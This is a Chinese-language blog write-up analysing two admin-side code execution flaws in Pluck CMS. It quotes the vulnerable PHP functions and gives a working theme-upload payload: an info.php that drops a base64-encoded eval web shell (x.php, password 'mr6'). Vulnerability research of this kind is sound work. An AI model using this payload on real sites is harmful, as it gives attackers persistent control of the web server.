Pluck CMS后台另两处任意代码执行

本来是在cnvd上看到了有人发Pluck CMS的洞,但是没有公开细节,便想着自己挖一下。

img

但是审完第一个后发现已经有两位同学写出来了

Pluck CMS 4.7.10远程代码执行漏洞分析

Pluck CMS 4.7.10 后台 文件包含+文件上传导致getshell代码分析

当时自己的思路跟第一个同学一样,第二个同学的思路自己确实没有想到,佩服佩服。

但是心有不甘,自己就继续挖掘了一下,又发现了两处可以任意命令执行的地方。

这个跟第一篇思路一样,只不过找到了另一处未过滤的点

function.php里面blog_save_post()函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
function blog_save_post($title, $category, $content, $current_seoname = null, $force_time = null) {
	//Check if 'posts' directory exists, if not; create it.
	if (!is_dir(BLOG_POSTS_DIR)) {
		mkdir(BLOG_POSTS_DIR);
		chmod(BLOG_POSTS_DIR, 0777);
	}
	//Create seo-filename
	$seoname = seo_url($title);
	//Sanitize variables.
	$title = sanitize($title, true);
	$content = sanitizePageContent($content, false);
	if (!empty($current_seoname)) {
		$current_filename = blog_get_post_filename($current_seoname);
		$parts = explode('.', $current_filename);
		$number = $parts[0];
		//Get the post time.
		include BLOG_POSTS_DIR.'/'.$current_filename;
		if ($seoname != $current_seoname) {
			unlink(BLOG_POSTS_DIR.'/'.$current_filename);
			if (is_dir(BLOG_POSTS_DIR.'/'.$current_seoname))
				rename(BLOG_POSTS_DIR.'/'.$current_seoname, BLOG_POSTS_DIR.'/'.$seoname);
		}
	}
	else {
		$files = read_dir_contents(BLOG_POSTS_DIR, 'files');
		//Find the number.
		if ($files) {
			$number = count($files);
			$number++;
		}
		else
			$number = 1;
		if (empty($force_time))
			$post_time = time();
		else
			$post_time = $force_time;
	}
	//Save information.
	$data['post_title']    = $title;
	$data['post_category'] = $category;
	$data['post_content']  = $content;
	$data['post_time']     = $post_time;
	save_file(BLOG_POSTS_DIR.'/'.$number.'.'.$seoname.'.php', $data);
	//Return seoname under which post has been saved (to allow for redirect).
	return $seoname;
}

其中

1
2
3
4
$data['post_title']    = $title;
	$data['post_category'] = $category;
	$data['post_content']  = $content;
	$data['post_time']     = $post_time;

$title content 均被过滤,post_time不可控,$category可控

所以只要把$cont2变成我们的payload即可

img

img

img

很多CMS都会在安装模版的时候getshell,那么这里笔者也发现了类似的漏洞。

首先准备一个shell.php里面是我们的phpinfo();

然后打包成shell.zip,直接上传主题

img

img

img

发现确实上传并且解压成功

但是由于目录下有.htaccess文件,直接把php设置为不可解析,所以无法直接访问

img

img

所以就想到需要找一个位置对其进行包含,来达到执行的目的。

首先看到admin.php中关于theme的部分

img

跟进 data/inc/theme.php,发现调用了get_themes()方法

img

跟进 functions.all.php,查看get_themes()方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
function get_themes() {
	$dirs = read_dir_contents('data/themes', 'dirs');
	if ($dirs) {
		natcasesort($dirs);
		foreach ($dirs as $dir) {
			if (file_exists('data/themes/'.$dir.'/info.php')) {
				include_once ('data/themes/'.$dir.'/info.php');
				$themes[] = array(
					'title'   => $themename,
					'dir' => $dir
				);
			}
		}
		return $themes;
	}
	else
		return false;
}

发现会遍历data/themes/下所有主题目录,并且包含他的info.php文件

此时info.php可控,就导致了任意代码执行。

首先准备一个info.php

1
2
3
<?php
file_put_contents('x.php',base64_decode('PD9waHAgQGV2YWwoJF9HRVRbJ21yNiddKTs/Pg=='));
?>

然后打包压缩成shell.zip

上传安装主题,然后点击回到主题页,此时触发文件包含。

img

然后根目录下就会生成我们的一句话x.php,密码是mr6

img

img

本人水平有限,文笔较差,如果有什么写的不对的地方还希望大家能够不吝赐教